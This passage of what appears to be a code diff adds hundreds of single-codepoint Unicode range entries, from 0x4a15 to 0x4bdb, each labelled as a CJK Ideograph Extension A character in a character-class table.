+ [0x4a15, 0x4a15], /* CJK Ideograph Extension A */
+ [0x4a16, 0x4a16], /* CJK Ideograph Extension A */
+ [0x4a17, 0x4a17], /* CJK Ideograph Extension A */
+ [0x4a18, 0x4a18], /* CJK Ideograph Extension A */
+ [0x4a19, 0x4a19], /* CJK Ideograph Extension A */
+ [0x4a1a, 0x4a1a], /* CJK Ideograph Extension A */
+ [0x4a1b, 0x4a1b], /* CJK Ideograph Extension A */
+ [0x4a1c, 0x4a1c], /* CJK Ideograph Extension A */
+ [0x4a1d, 0x4a1d], /* CJK Ideograph Extension A */
+ [0x4a1e, 0x4a1e], /* CJK Ideograph Extension A */
+ [0x4a1f, 0x4a1f], /* CJK Ideograph Extension A */
+ [0x4a20, 0x4a20], /* CJK Ideograph Extension A */
+ [0x4a21, 0x4a21], /* CJK Ideograph Extension A */
+ [0x4a22, 0x4a22], /* CJK Ideograph Extension A */
+ [0x4a23, 0x4a23], /* CJK Ideograph Extension A */
+ [0x4a24, 0x4a24], /* CJK Ideograph Extension A */
+ [0x4a25, 0x4a25], /* CJK Ideograph Extension A */
+ [0x4a26, 0x4a26], /* CJK Ideograph Extension A */
+ [0x4a27, 0x4a27], /* CJK Ideograph Extension A */
+ [0x4a28, 0x4a28], /* CJK Ideograph Extension A */
+ [0x4a29, 0x4a29], /* CJK Ideograph Extension A */
+ [0x4a2a, 0x4a2a], /* CJK Ideograph Extension A */
+ [0x4a2b, 0x4a2b], /* CJK Ideograph Extension A */
+ [0x4a2c, 0x4a2c], /* CJK Ideograph Extension A */
+ [0x4a2d, 0x4a2d], /* CJK Ideograph Extension A */
+ [0x4a2e, 0x4a2e], /* CJK Ideograph Extension A */
+ [0x4a2f, 0x4a2f], /* CJK Ideograph Extension A */
+ [0x4a30, 0x4a30], /* CJK Ideograph Extension A */
+ [0x4a31, 0x4a31], /* CJK Ideograph Extension A */
+ [0x4a32, 0x4a32], /* CJK Ideograph Extension A */
+ [0x4a33, 0x4a33], /* CJK Ideograph Extension A */
+ [0x4a34, 0x4a34], /* CJK Ideograph Extension A */
+ [0x4a35, 0x4a35], /* CJK Ideograph Extension A */
+ [0x4a36, 0x4a36], /* CJK Ideograph Extension A */
+ [0x4a37, 0x4a37], /* CJK Ideograph Extension A */
+ [0x4a38, 0x4a38], /* CJK Ideograph Extension A */
+ [0x4a39, 0x4a39], /* CJK Ideograph Extension A */
+ [0x4a3a, 0x4a3a], /* CJK Ideograph Extension A */
+ [0x4a3b, 0x4a3b], /* CJK Ideograph Extension A */
+ [0x4a3c, 0x4a3c], /* CJK Ideograph Extension A */
+ [0x4a3d, 0x4a3d], /* CJK Ideograph Extension A */
+ [0x4a3e, 0x4a3e], /* CJK Ideograph Extension A */
+ [0x4a3f, 0x4a3f], /* CJK Ideograph Extension A */
+ [0x4a40, 0x4a40], /* CJK Ideograph Extension A */
+ [0x4a41, 0x4a41], /* CJK Ideograph Extension A */
+ [0x4a42, 0x4a42], /* CJK Ideograph Extension A */
+ [0x4a43, 0x4a43], /* CJK Ideograph Extension A */
+ [0x4a44, 0x4a44], /* CJK Ideograph Extension A */
+ [0x4a45, 0x4a45], /* CJK Ideograph Extension A */
+ [0x4a46, 0x4a46], /* CJK Ideograph Extension A */
+ [0x4a47, 0x4a47], /* CJK Ideograph Extension A */
+ [0x4a48, 0x4a48], /* CJK Ideograph Extension A */
+ [0x4a49, 0x4a49], /* CJK Ideograph Extension A */
+ [0x4a4a, 0x4a4a], /* CJK Ideograph Extension A */
+ [0x4a4b, 0x4a4b], /* CJK Ideograph Extension A */
+ [0x4a4c, 0x4a4c], /* CJK Ideograph Extension A */
+ [0x4a4d, 0x4a4d], /* CJK Ideograph Extension A */
+ [0x4a4e, 0x4a4e], /* CJK Ideograph Extension A */
+ [0x4a4f, 0x4a4f], /* CJK Ideograph Extension A */
+ [0x4a50, 0x4a50], /* CJK Ideograph Extension A */
+ [0x4a51, 0x4a51], /* CJK Ideograph Extension A */
+ [0x4a52, 0x4a52], /* CJK Ideograph Extension A */
+ [0x4a53, 0x4a53], /* CJK Ideograph Extension A */
+ [0x4a54, 0x4a54], /* CJK Ideograph Extension A */
+ [0x4a55, 0x4a55], /* CJK Ideograph Extension A */
+ [0x4a56, 0x4a56], /* CJK Ideograph Extension A */
+ [0x4a57, 0x4a57], /* CJK Ideograph Extension A */
+ [0x4a58, 0x4a58], /* CJK Ideograph Extension A */
+ [0x4a59, 0x4a59], /* CJK Ideograph Extension A */
+ [0x4a5a, 0x4a5a], /* CJK Ideograph Extension A */
+ [0x4a5b, 0x4a5b], /* CJK Ideograph Extension A */
+ [0x4a5c, 0x4a5c], /* CJK Ideograph Extension A */
+ [0x4a5d, 0x4a5d], /* CJK Ideograph Extension A */
+ [0x4a5e, 0x4a5e], /* CJK Ideograph Extension A */
+ [0x4a5f, 0x4a5f], /* CJK Ideograph Extension A */
+ [0x4a60, 0x4a60], /* CJK Ideograph Extension A */
+ [0x4a61, 0x4a61], /* CJK Ideograph Extension A */
+ [0x4a62, 0x4a62], /* CJK Ideograph Extension A */
+ [0x4a63, 0x4a63], /* CJK Ideograph Extension A */
+ [0x4a64, 0x4a64], /* CJK Ideograph Extension A */
+ [0x4a65, 0x4a65], /* CJK Ideograph Extension A */
+ [0x4a66, 0x4a66], /* CJK Ideograph Extension A */
+ [0x4a67, 0x4a67], /* CJK Ideograph Extension A */
+ [0x4a68, 0x4a68], /* CJK Ideograph Extension A */
+ [0x4a69, 0x4a69], /* CJK Ideograph Extension A */
+ [0x4a6a, 0x4a6a], /* CJK Ideograph Extension A */
+ [0x4a6b, 0x4a6b], /* CJK Ideograph Extension A */
+ [0x4a6c, 0x4a6c], /* CJK Ideograph Extension A */
+ [0x4a6d, 0x4a6d], /* CJK Ideograph Extension A */
+ [0x4a6e, 0x4a6e], /* CJK Ideograph Extension A */
+ [0x4a6f, 0x4a6f], /* CJK Ideograph Extension A */
+ [0x4a70, 0x4a70], /* CJK Ideograph Extension A */
+ [0x4a71, 0x4a71], /* CJK Ideograph Extension A */
+ [0x4a72, 0x4a72], /* CJK Ideograph Extension A */
+ [0x4a73, 0x4a73], /* CJK Ideograph Extension A */
+ [0x4a74, 0x4a74], /* CJK Ideograph Extension A */
+ [0x4a75, 0x4a75], /* CJK Ideograph Extension A */
+ [0x4a76, 0x4a76], /* CJK Ideograph Extension A */
+ [0x4a77, 0x4a77], /* CJK Ideograph Extension A */
+ [0x4a78, 0x4a78], /* CJK Ideograph Extension A */
+ [0x4a79, 0x4a79], /* CJK Ideograph Extension A */
+ [0x4a7a, 0x4a7a], /* CJK Ideograph Extension A */
+ [0x4a7b, 0x4a7b], /* CJK Ideograph Extension A */
+ [0x4a7c, 0x4a7c], /* CJK Ideograph Extension A */
+ [0x4a7d, 0x4a7d], /* CJK Ideograph Extension A */
+ [0x4a7e, 0x4a7e], /* CJK Ideograph Extension A */
+ [0x4a7f, 0x4a7f], /* CJK Ideograph Extension A */
+ [0x4a80, 0x4a80], /* CJK Ideograph Extension A */
+ [0x4a81, 0x4a81], /* CJK Ideograph Extension A */
+ [0x4a82, 0x4a82], /* CJK Ideograph Extension A */
+ [0x4a83, 0x4a83], /* CJK Ideograph Extension A */
+ [0x4a84, 0x4a84], /* CJK Ideograph Extension A */
+ [0x4a85, 0x4a85], /* CJK Ideograph Extension A */
+ [0x4a86, 0x4a86], /* CJK Ideograph Extension A */
+ [0x4a87, 0x4a87], /* CJK Ideograph Extension A */
+ [0x4a88, 0x4a88], /* CJK Ideograph Extension A */
+ [0x4a89, 0x4a89], /* CJK Ideograph Extension A */
+ [0x4a8a, 0x4a8a], /* CJK Ideograph Extension A */
+ [0x4a8b, 0x4a8b], /* CJK Ideograph Extension A */
+ [0x4a8c, 0x4a8c], /* CJK Ideograph Extension A */
+ [0x4a8d, 0x4a8d], /* CJK Ideograph Extension A */
+ [0x4a8e, 0x4a8e], /* CJK Ideograph Extension A */
+ [0x4a8f, 0x4a8f], /* CJK Ideograph Extension A */
+ [0x4a90, 0x4a90], /* CJK Ideograph Extension A */
+ [0x4a91, 0x4a91], /* CJK Ideograph Extension A */
+ [0x4a92, 0x4a92], /* CJK Ideograph Extension A */
+ [0x4a93, 0x4a93], /* CJK Ideograph Extension A */
+ [0x4a94, 0x4a94], /* CJK Ideograph Extension A */
+ [0x4a95, 0x4a95], /* CJK Ideograph Extension A */
+ [0x4a96, 0x4a96], /* CJK Ideograph Extension A */
+ [0x4a97, 0x4a97], /* CJK Ideograph Extension A */
+ [0x4a98, 0x4a98], /* CJK Ideograph Extension A */
+ [0x4a99, 0x4a99], /* CJK Ideograph Extension A */
+ [0x4a9a, 0x4a9a], /* CJK Ideograph Extension A */
+ [0x4a9b, 0x4a9b], /* CJK Ideograph Extension A */
+ [0x4a9c, 0x4a9c], /* CJK Ideograph Extension A */
+ [0x4a9d, 0x4a9d], /* CJK Ideograph Extension A */
+ [0x4a9e, 0x4a9e], /* CJK Ideograph Extension A */
+ [0x4a9f, 0x4a9f], /* CJK Ideograph Extension A */
+ [0x4aa0, 0x4aa0], /* CJK Ideograph Extension A */
+ [0x4aa1, 0x4aa1], /* CJK Ideograph Extension A */
+ [0x4aa2, 0x4aa2], /* CJK Ideograph Extension A */
+ [0x4aa3, 0x4aa3], /* CJK Ideograph Extension A */
+ [0x4aa4, 0x4aa4], /* CJK Ideograph Extension A */
+ [0x4aa5, 0x4aa5], /* CJK Ideograph Extension A */
+ [0x4aa6, 0x4aa6], /* CJK Ideograph Extension A */
+ [0x4aa7, 0x4aa7], /* CJK Ideograph Extension A */
+ [0x4aa8, 0x4aa8], /* CJK Ideograph Extension A */
+ [0x4aa9, 0x4aa9], /* CJK Ideograph Extension A */
+ [0x4aaa, 0x4aaa], /* CJK Ideograph Extension A */
+ [0x4aab, 0x4aab], /* CJK Ideograph Extension A */
+ [0x4aac, 0x4aac], /* CJK Ideograph Extension A */
+ [0x4aad, 0x4aad], /* CJK Ideograph Extension A */
+ [0x4aae, 0x4aae], /* CJK Ideograph Extension A */
+ [0x4aaf, 0x4aaf], /* CJK Ideograph Extension A */
+ [0x4ab0, 0x4ab0], /* CJK Ideograph Extension A */
+ [0x4ab1, 0x4ab1], /* CJK Ideograph Extension A */
+ [0x4ab2, 0x4ab2], /* CJK Ideograph Extension A */
+ [0x4ab3, 0x4ab3], /* CJK Ideograph Extension A */
+ [0x4ab4, 0x4ab4], /* CJK Ideograph Extension A */
+ [0x4ab5, 0x4ab5], /* CJK Ideograph Extension A */
+ [0x4ab6, 0x4ab6], /* CJK Ideograph Extension A */
+ [0x4ab7, 0x4ab7], /* CJK Ideograph Extension A */
+ [0x4ab8, 0x4ab8], /* CJK Ideograph Extension A */
+ [0x4ab9, 0x4ab9], /* CJK Ideograph Extension A */
+ [0x4aba, 0x4aba], /* CJK Ideograph Extension A */
+ [0x4abb, 0x4abb], /* CJK Ideograph Extension A */
+ [0x4abc, 0x4abc], /* CJK Ideograph Extension A */
+ [0x4abd, 0x4abd], /* CJK Ideograph Extension A */
+ [0x4abe, 0x4abe], /* CJK Ideograph Extension A */
+ [0x4abf, 0x4abf], /* CJK Ideograph Extension A */
+ [0x4ac0, 0x4ac0], /* CJK Ideograph Extension A */
+ [0x4ac1, 0x4ac1], /* CJK Ideograph Extension A */
+ [0x4ac2, 0x4ac2], /* CJK Ideograph Extension A */
+ [0x4ac3, 0x4ac3], /* CJK Ideograph Extension A */
+ [0x4ac4, 0x4ac4], /* CJK Ideograph Extension A */
+ [0x4ac5, 0x4ac5], /* CJK Ideograph Extension A */
+ [0x4ac6, 0x4ac6], /* CJK Ideograph Extension A */
+ [0x4ac7, 0x4ac7], /* CJK Ideograph Extension A */
+ [0x4ac8, 0x4ac8], /* CJK Ideograph Extension A */
+ [0x4ac9, 0x4ac9], /* CJK Ideograph Extension A */
+ [0x4aca, 0x4aca], /* CJK Ideograph Extension A */
+ [0x4acb, 0x4acb], /* CJK Ideograph Extension A */
+ [0x4acc, 0x4acc], /* CJK Ideograph Extension A */
+ [0x4acd, 0x4acd], /* CJK Ideograph Extension A */
+ [0x4ace, 0x4ace], /* CJK Ideograph Extension A */
+ [0x4acf, 0x4acf], /* CJK Ideograph Extension A */
+ [0x4ad0, 0x4ad0], /* CJK Ideograph Extension A */
+ [0x4ad1, 0x4ad1], /* CJK Ideograph Extension A */
+ [0x4ad2, 0x4ad2], /* CJK Ideograph Extension A */
+ [0x4ad3, 0x4ad3], /* CJK Ideograph Extension A */
+ [0x4ad4, 0x4ad4], /* CJK Ideograph Extension A */
+ [0x4ad5, 0x4ad5], /* CJK Ideograph Extension A */
+ [0x4ad6, 0x4ad6], /* CJK Ideograph Extension A */
+ [0x4ad7, 0x4ad7], /* CJK Ideograph Extension A */
+ [0x4ad8, 0x4ad8], /* CJK Ideograph Extension A */
+ [0x4ad9, 0x4ad9], /* CJK Ideograph Extension A */
+ [0x4ada, 0x4ada], /* CJK Ideograph Extension A */
+ [0x4adb, 0x4adb], /* CJK Ideograph Extension A */
+ [0x4adc, 0x4adc], /* CJK Ideograph Extension A */
+ [0x4add, 0x4add], /* CJK Ideograph Extension A */
+ [0x4ade, 0x4ade], /* CJK Ideograph Extension A */
+ [0x4adf, 0x4adf], /* CJK Ideograph Extension A */
+ [0x4ae0, 0x4ae0], /* CJK Ideograph Extension A */
+ [0x4ae1, 0x4ae1], /* CJK Ideograph Extension A */
+ [0x4ae2, 0x4ae2], /* CJK Ideograph Extension A */
+ [0x4ae3, 0x4ae3], /* CJK Ideograph Extension A */
+ [0x4ae4, 0x4ae4], /* CJK Ideograph Extension A */
+ [0x4ae5, 0x4ae5], /* CJK Ideograph Extension A */
+ [0x4ae6, 0x4ae6], /* CJK Ideograph Extension A */
+ [0x4ae7, 0x4ae7], /* CJK Ideograph Extension A */
+ [0x4ae8, 0x4ae8], /* CJK Ideograph Extension A */
+ [0x4ae9, 0x4ae9], /* CJK Ideograph Extension A */
+ [0x4aea, 0x4aea], /* CJK Ideograph Extension A */
+ [0x4aeb, 0x4aeb], /* CJK Ideograph Extension A */
+ [0x4aec, 0x4aec], /* CJK Ideograph Extension A */
+ [0x4aed, 0x4aed], /* CJK Ideograph Extension A */
+ [0x4aee, 0x4aee], /* CJK Ideograph Extension A */
+ [0x4aef, 0x4aef], /* CJK Ideograph Extension A */
+ [0x4af0, 0x4af0], /* CJK Ideograph Extension A */
+ [0x4af1, 0x4af1], /* CJK Ideograph Extension A */
+ [0x4af2, 0x4af2], /* CJK Ideograph Extension A */
+ [0x4af3, 0x4af3], /* CJK Ideograph Extension A */
+ [0x4af4, 0x4af4], /* CJK Ideograph Extension A */
+ [0x4af5, 0x4af5], /* CJK Ideograph Extension A */
+ [0x4af6, 0x4af6], /* CJK Ideograph Extension A */
+ [0x4af7, 0x4af7], /* CJK Ideograph Extension A */
+ [0x4af8, 0x4af8], /* CJK Ideograph Extension A */
+ [0x4af9, 0x4af9], /* CJK Ideograph Extension A */
+ [0x4afa, 0x4afa], /* CJK Ideograph Extension A */
+ [0x4afb, 0x4afb], /* CJK Ideograph Extension A */
+ [0x4afc, 0x4afc], /* CJK Ideograph Extension A */
+ [0x4afd, 0x4afd], /* CJK Ideograph Extension A */
+ [0x4afe, 0x4afe], /* CJK Ideograph Extension A */
+ [0x4aff, 0x4aff], /* CJK Ideograph Extension A */
+ [0x4b00, 0x4b00], /* CJK Ideograph Extension A */
+ [0x4b01, 0x4b01], /* CJK Ideograph Extension A */
+ [0x4b02, 0x4b02], /* CJK Ideograph Extension A */
+ [0x4b03, 0x4b03], /* CJK Ideograph Extension A */
+ [0x4b04, 0x4b04], /* CJK Ideograph Extension A */
+ [0x4b05, 0x4b05], /* CJK Ideograph Extension A */
+ [0x4b06, 0x4b06], /* CJK Ideograph Extension A */
+ [0x4b07, 0x4b07], /* CJK Ideograph Extension A */
+ [0x4b08, 0x4b08], /* CJK Ideograph Extension A */
+ [0x4b09, 0x4b09], /* CJK Ideograph Extension A */
+ [0x4b0a, 0x4b0a], /* CJK Ideograph Extension A */
+ [0x4b0b, 0x4b0b], /* CJK Ideograph Extension A */
+ [0x4b0c, 0x4b0c], /* CJK Ideograph Extension A */
+ [0x4b0d, 0x4b0d], /* CJK Ideograph Extension A */
+ [0x4b0e, 0x4b0e], /* CJK Ideograph Extension A */
+ [0x4b0f, 0x4b0f], /* CJK Ideograph Extension A */
+ [0x4b10, 0x4b10], /* CJK Ideograph Extension A */
+ [0x4b11, 0x4b11], /* CJK Ideograph Extension A */
+ [0x4b12, 0x4b12], /* CJK Ideograph Extension A */
+ [0x4b13, 0x4b13], /* CJK Ideograph Extension A */
+ [0x4b14, 0x4b14], /* CJK Ideograph Extension A */
+ [0x4b15, 0x4b15], /* CJK Ideograph Extension A */
+ [0x4b16, 0x4b16], /* CJK Ideograph Extension A */
+ [0x4b17, 0x4b17], /* CJK Ideograph Extension A */
+ [0x4b18, 0x4b18], /* CJK Ideograph Extension A */
+ [0x4b19, 0x4b19], /* CJK Ideograph Extension A */
+ [0x4b1a, 0x4b1a], /* CJK Ideograph Extension A */
+ [0x4b1b, 0x4b1b], /* CJK Ideograph Extension A */
+ [0x4b1c, 0x4b1c], /* CJK Ideograph Extension A */
+ [0x4b1d, 0x4b1d], /* CJK Ideograph Extension A */
+ [0x4b1e, 0x4b1e], /* CJK Ideograph Extension A */
+ [0x4b1f, 0x4b1f], /* CJK Ideograph Extension A */
+ [0x4b20, 0x4b20], /* CJK Ideograph Extension A */
+ [0x4b21, 0x4b21], /* CJK Ideograph Extension A */
+ [0x4b22, 0x4b22], /* CJK Ideograph Extension A */
+ [0x4b23, 0x4b23], /* CJK Ideograph Extension A */
+ [0x4b24, 0x4b24], /* CJK Ideograph Extension A */
+ [0x4b25, 0x4b25], /* CJK Ideograph Extension A */
+ [0x4b26, 0x4b26], /* CJK Ideograph Extension A */
+ [0x4b27, 0x4b27], /* CJK Ideograph Extension A */
+ [0x4b28, 0x4b28], /* CJK Ideograph Extension A */
+ [0x4b29, 0x4b29], /* CJK Ideograph Extension A */
+ [0x4b2a, 0x4b2a], /* CJK Ideograph Extension A */
+ [0x4b2b, 0x4b2b], /* CJK Ideograph Extension A */
+ [0x4b2c, 0x4b2c], /* CJK Ideograph Extension A */
+ [0x4b2d, 0x4b2d], /* CJK Ideograph Extension A */
+ [0x4b2e, 0x4b2e], /* CJK Ideograph Extension A */
+ [0x4b2f, 0x4b2f], /* CJK Ideograph Extension A */
+ [0x4b30, 0x4b30], /* CJK Ideograph Extension A */
+ [0x4b31, 0x4b31], /* CJK Ideograph Extension A */
+ [0x4b32, 0x4b32], /* CJK Ideograph Extension A */
+ [0x4b33, 0x4b33], /* CJK Ideograph Extension A */
+ [0x4b34, 0x4b34], /* CJK Ideograph Extension A */
+ [0x4b35, 0x4b35], /* CJK Ideograph Extension A */
+ [0x4b36, 0x4b36], /* CJK Ideograph Extension A */
+ [0x4b37, 0x4b37], /* CJK Ideograph Extension A */
+ [0x4b38, 0x4b38], /* CJK Ideograph Extension A */
+ [0x4b39, 0x4b39], /* CJK Ideograph Extension A */
+ [0x4b3a, 0x4b3a], /* CJK Ideograph Extension A */
+ [0x4b3b, 0x4b3b], /* CJK Ideograph Extension A */
+ [0x4b3c, 0x4b3c], /* CJK Ideograph Extension A */
+ [0x4b3d, 0x4b3d], /* CJK Ideograph Extension A */
+ [0x4b3e, 0x4b3e], /* CJK Ideograph Extension A */
+ [0x4b3f, 0x4b3f], /* CJK Ideograph Extension A */
+ [0x4b40, 0x4b40], /* CJK Ideograph Extension A */
+ [0x4b41, 0x4b41], /* CJK Ideograph Extension A */
+ [0x4b42, 0x4b42], /* CJK Ideograph Extension A */
+ [0x4b43, 0x4b43], /* CJK Ideograph Extension A */
+ [0x4b44, 0x4b44], /* CJK Ideograph Extension A */
+ [0x4b45, 0x4b45], /* CJK Ideograph Extension A */
+ [0x4b46, 0x4b46], /* CJK Ideograph Extension A */
+ [0x4b47, 0x4b47], /* CJK Ideograph Extension A */
+ [0x4b48, 0x4b48], /* CJK Ideograph Extension A */
+ [0x4b49, 0x4b49], /* CJK Ideograph Extension A */
+ [0x4b4a, 0x4b4a], /* CJK Ideograph Extension A */
+ [0x4b4b, 0x4b4b], /* CJK Ideograph Extension A */
+ [0x4b4c, 0x4b4c], /* CJK Ideograph Extension A */
+ [0x4b4d, 0x4b4d], /* CJK Ideograph Extension A */
+ [0x4b4e, 0x4b4e], /* CJK Ideograph Extension A */
+ [0x4b4f, 0x4b4f], /* CJK Ideograph Extension A */
+ [0x4b50, 0x4b50], /* CJK Ideograph Extension A */
+ [0x4b51, 0x4b51], /* CJK Ideograph Extension A */
+ [0x4b52, 0x4b52], /* CJK Ideograph Extension A */
+ [0x4b53, 0x4b53], /* CJK Ideograph Extension A */
+ [0x4b54, 0x4b54], /* CJK Ideograph Extension A */
+ [0x4b55, 0x4b55], /* CJK Ideograph Extension A */
+ [0x4b56, 0x4b56], /* CJK Ideograph Extension A */
+ [0x4b57, 0x4b57], /* CJK Ideograph Extension A */
+ [0x4b58, 0x4b58], /* CJK Ideograph Extension A */
+ [0x4b59, 0x4b59], /* CJK Ideograph Extension A */
+ [0x4b5a, 0x4b5a], /* CJK Ideograph Extension A */
+ [0x4b5b, 0x4b5b], /* CJK Ideograph Extension A */
+ [0x4b5c, 0x4b5c], /* CJK Ideograph Extension A */
+ [0x4b5d, 0x4b5d], /* CJK Ideograph Extension A */
+ [0x4b5e, 0x4b5e], /* CJK Ideograph Extension A */
+ [0x4b5f, 0x4b5f], /* CJK Ideograph Extension A */
+ [0x4b60, 0x4b60], /* CJK Ideograph Extension A */
+ [0x4b61, 0x4b61], /* CJK Ideograph Extension A */
+ [0x4b62, 0x4b62], /* CJK Ideograph Extension A */
+ [0x4b63, 0x4b63], /* CJK Ideograph Extension A */
+ [0x4b64, 0x4b64], /* CJK Ideograph Extension A */
+ [0x4b65, 0x4b65], /* CJK Ideograph Extension A */
+ [0x4b66, 0x4b66], /* CJK Ideograph Extension A */
+ [0x4b67, 0x4b67], /* CJK Ideograph Extension A */
+ [0x4b68, 0x4b68], /* CJK Ideograph Extension A */
+ [0x4b69, 0x4b69], /* CJK Ideograph Extension A */
+ [0x4b6a, 0x4b6a], /* CJK Ideograph Extension A */
+ [0x4b6b, 0x4b6b], /* CJK Ideograph Extension A */
+ [0x4b6c, 0x4b6c], /* CJK Ideograph Extension A */
+ [0x4b6d, 0x4b6d], /* CJK Ideograph Extension A */
+ [0x4b6e, 0x4b6e], /* CJK Ideograph Extension A */
+ [0x4b6f, 0x4b6f], /* CJK Ideograph Extension A */
+ [0x4b70, 0x4b70], /* CJK Ideograph Extension A */
+ [0x4b71, 0x4b71], /* CJK Ideograph Extension A */
+ [0x4b72, 0x4b72], /* CJK Ideograph Extension A */
+ [0x4b73, 0x4b73], /* CJK Ideograph Extension A */
+ [0x4b74, 0x4b74], /* CJK Ideograph Extension A */
+ [0x4b75, 0x4b75], /* CJK Ideograph Extension A */
+ [0x4b76, 0x4b76], /* CJK Ideograph Extension A */
+ [0x4b77, 0x4b77], /* CJK Ideograph Extension A */
+ [0x4b78, 0x4b78], /* CJK Ideograph Extension A */
+ [0x4b79, 0x4b79], /* CJK Ideograph Extension A */
+ [0x4b7a, 0x4b7a], /* CJK Ideograph Extension A */
+ [0x4b7b, 0x4b7b], /* CJK Ideograph Extension A */
+ [0x4b7c, 0x4b7c], /* CJK Ideograph Extension A */
+ [0x4b7d, 0x4b7d], /* CJK Ideograph Extension A */
+ [0x4b7e, 0x4b7e], /* CJK Ideograph Extension A */
+ [0x4b7f, 0x4b7f], /* CJK Ideograph Extension A */
+ [0x4b80, 0x4b80], /* CJK Ideograph Extension A */
+ [0x4b81, 0x4b81], /* CJK Ideograph Extension A */
+ [0x4b82, 0x4b82], /* CJK Ideograph Extension A */
+ [0x4b83, 0x4b83], /* CJK Ideograph Extension A */
+ [0x4b84, 0x4b84], /* CJK Ideograph Extension A */
+ [0x4b85, 0x4b85], /* CJK Ideograph Extension A */
+ [0x4b86, 0x4b86], /* CJK Ideograph Extension A */
+ [0x4b87, 0x4b87], /* CJK Ideograph Extension A */
+ [0x4b88, 0x4b88], /* CJK Ideograph Extension A */
+ [0x4b89, 0x4b89], /* CJK Ideograph Extension A */
+ [0x4b8a, 0x4b8a], /* CJK Ideograph Extension A */
+ [0x4b8b, 0x4b8b], /* CJK Ideograph Extension A */
+ [0x4b8c, 0x4b8c], /* CJK Ideograph Extension A */
+ [0x4b8d, 0x4b8d], /* CJK Ideograph Extension A */
+ [0x4b8e, 0x4b8e], /* CJK Ideograph Extension A */
+ [0x4b8f, 0x4b8f], /* CJK Ideograph Extension A */
+ [0x4b90, 0x4b90], /* CJK Ideograph Extension A */
+ [0x4b91, 0x4b91], /* CJK Ideograph Extension A */
+ [0x4b92, 0x4b92], /* CJK Ideograph Extension A */
+ [0x4b93, 0x4b93], /* CJK Ideograph Extension A */
+ [0x4b94, 0x4b94], /* CJK Ideograph Extension A */
+ [0x4b95, 0x4b95], /* CJK Ideograph Extension A */
+ [0x4b96, 0x4b96], /* CJK Ideograph Extension A */
+ [0x4b97, 0x4b97], /* CJK Ideograph Extension A */
+ [0x4b98, 0x4b98], /* CJK Ideograph Extension A */
+ [0x4b99, 0x4b99], /* CJK Ideograph Extension A */
+ [0x4b9a, 0x4b9a], /* CJK Ideograph Extension A */
+ [0x4b9b, 0x4b9b], /* CJK Ideograph Extension A */
+ [0x4b9c, 0x4b9c], /* CJK Ideograph Extension A */
+ [0x4b9d, 0x4b9d], /* CJK Ideograph Extension A */
+ [0x4b9e, 0x4b9e], /* CJK Ideograph Extension A */
+ [0x4b9f, 0x4b9f], /* CJK Ideograph Extension A */
+ [0x4ba0, 0x4ba0], /* CJK Ideograph Extension A */
+ [0x4ba1, 0x4ba1], /* CJK Ideograph Extension A */
+ [0x4ba2, 0x4ba2], /* CJK Ideograph Extension A */
+ [0x4ba3, 0x4ba3], /* CJK Ideograph Extension A */
+ [0x4ba4, 0x4ba4], /* CJK Ideograph Extension A */
+ [0x4ba5, 0x4ba5], /* CJK Ideograph Extension A */
+ [0x4ba6, 0x4ba6], /* CJK Ideograph Extension A */
+ [0x4ba7, 0x4ba7], /* CJK Ideograph Extension A */
+ [0x4ba8, 0x4ba8], /* CJK Ideograph Extension A */
+ [0x4ba9, 0x4ba9], /* CJK Ideograph Extension A */
+ [0x4baa, 0x4baa], /* CJK Ideograph Extension A */
+ [0x4bab, 0x4bab], /* CJK Ideograph Extension A */
+ [0x4bac, 0x4bac], /* CJK Ideograph Extension A */
+ [0x4bad, 0x4bad], /* CJK Ideograph Extension A */
+ [0x4bae, 0x4bae], /* CJK Ideograph Extension A */
+ [0x4baf, 0x4baf], /* CJK Ideograph Extension A */
+ [0x4bb0, 0x4bb0], /* CJK Ideograph Extension A */
+ [0x4bb1, 0x4bb1], /* CJK Ideograph Extension A */
+ [0x4bb2, 0x4bb2], /* CJK Ideograph Extension A */
+ [0x4bb3, 0x4bb3], /* CJK Ideograph Extension A */
+ [0x4bb4, 0x4bb4], /* CJK Ideograph Extension A */
+ [0x4bb5, 0x4bb5], /* CJK Ideograph Extension A */
+ [0x4bb6, 0x4bb6], /* CJK Ideograph Extension A */
+ [0x4bb7, 0x4bb7], /* CJK Ideograph Extension A */
+ [0x4bb8, 0x4bb8], /* CJK Ideograph Extension A */
+ [0x4bb9, 0x4bb9], /* CJK Ideograph Extension A */
+ [0x4bba, 0x4bba], /* CJK Ideograph Extension A */
+ [0x4bbb, 0x4bbb], /* CJK Ideograph Extension A */
+ [0x4bbc, 0x4bbc], /* CJK Ideograph Extension A */
+ [0x4bbd, 0x4bbd], /* CJK Ideograph Extension A */
+ [0x4bbe, 0x4bbe], /* CJK Ideograph Extension A */
+ [0x4bbf, 0x4bbf], /* CJK Ideograph Extension A */
+ [0x4bc0, 0x4bc0], /* CJK Ideograph Extension A */
+ [0x4bc1, 0x4bc1], /* CJK Ideograph Extension A */
+ [0x4bc2, 0x4bc2], /* CJK Ideograph Extension A */
+ [0x4bc3, 0x4bc3], /* CJK Ideograph Extension A */
+ [0x4bc4, 0x4bc4], /* CJK Ideograph Extension A */
+ [0x4bc5, 0x4bc5], /* CJK Ideograph Extension A */
+ [0x4bc6, 0x4bc6], /* CJK Ideograph Extension A */
+ [0x4bc7, 0x4bc7], /* CJK Ideograph Extension A */
+ [0x4bc8, 0x4bc8], /* CJK Ideograph Extension A */
+ [0x4bc9, 0x4bc9], /* CJK Ideograph Extension A */
+ [0x4bca, 0x4bca], /* CJK Ideograph Extension A */
+ [0x4bcb, 0x4bcb], /* CJK Ideograph Extension A */
+ [0x4bcc, 0x4bcc], /* CJK Ideograph Extension A */
+ [0x4bcd, 0x4bcd], /* CJK Ideograph Extension A */
+ [0x4bce, 0x4bce], /* CJK Ideograph Extension A */
+ [0x4bcf, 0x4bcf], /* CJK Ideograph Extension A */
+ [0x4bd0, 0x4bd0], /* CJK Ideograph Extension A */
+ [0x4bd1, 0x4bd1], /* CJK Ideograph Extension A */
+ [0x4bd2, 0x4bd2], /* CJK Ideograph Extension A */
+ [0x4bd3, 0x4bd3], /* CJK Ideograph Extension A */
+ [0x4bd4, 0x4bd4], /* CJK Ideograph Extension A */
+ [0x4bd5, 0x4bd5], /* CJK Ideograph Extension A */
+ [0x4bd6, 0x4bd6], /* CJK Ideograph Extension A */
+ [0x4bd7, 0x4bd7], /* CJK Ideograph Extension A */
+ [0x4bd8, 0x4bd8], /* CJK Ideograph Extension A */
+ [0x4bd9, 0x4bd9], /* CJK Ideograph Extension A */
+ [0x4bda, 0x4bda], /* CJK Ideograph Extension A */
+ [0x4bdb, 0x4bdb], /* CJK Ideograph Extension A */
